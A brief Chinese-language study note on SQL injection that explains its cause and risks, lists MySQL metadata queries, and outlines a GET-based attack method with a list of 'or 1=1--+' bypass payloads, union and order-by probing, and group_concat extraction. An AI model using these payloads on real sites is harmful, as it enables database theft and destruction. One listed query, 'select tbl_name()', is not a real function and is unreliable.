SQL注入-1
什么是SQL注入?有什么危害?
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被拖库、被删除、甚至整个服务器权限沦陷)。
对于前后端分离的架构,后端的服务器一般开放80端口(如Apache、Tomcat、IIS),并通过一些代码连接到后端数据库。
如何构建可以执行的语句?
需要知道元数据:库、表、字段、字段类型等等。
如何获取元数据
- 获取数据库:
show databases - 获取当前库的表:
use db;show tables - 获取当前表的字段:
show columns from tbl_name - 当前数据库:
select database() - 当前表:
select tbl_name() - 当前数据库版本:
select version() - MySQL系统库:SCHEMATA中包含了所有的库名,TABLES中包含了所有表名,COLUMNS中包含了所有列名:
select SCHEMA_NAME from 'SCHEMATA';
select TABLE_NAME from `TABLES` where TABLE_SCHEMA='db_name';
select COLUMN_NAME from `COLUMNS` where TABLE_SCHEMA='db_name' and table_name='table_name';
SQL注入语句构建方式
后端可能是将输入的参数与已有的语句进行拼接,然后进行查询。
按照这个思路,其本质就是执行一段SQL语句(但php中一次仅能执行一条sql),只要以一定的方式构建语句,就能达到目的。
有如下思路:
';:结束上句(闭合语句)。#、--、--+:注释下句,注意空格,--+是php的特例。union:将两条查询语句合并成一条来解决php限制。
注意:union的参数数量要一致、对应序号的字段的类型要能够转换order by 1/2/3···:探测字段数量。- 在3的基础上添加相应的字段数。
对于使用get来查询的网站:
- 探查是否存在SQL注入漏洞
注意注入的类型
常见payload:
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
")or 1=1--+
"))or 1=1--+
1=1
1=2
- 探查数据库指纹,交由工具执行
- 获取数据库名
同上,组合技:1=1和order by - 获取表名
- 获取列名
- 得到数据
- 一些整理:
- 多行数据变成一行:
select group_concat(table_name) from information_schema.tables where table_schema='xxx',注意要保证参数数量一致. - 现在已知了所有参数,填充未知参数来获取数据.
- 如果有查询数量的限制,使用limit 0,1这样的方式来逐个查询.
- 多行数据变成一行: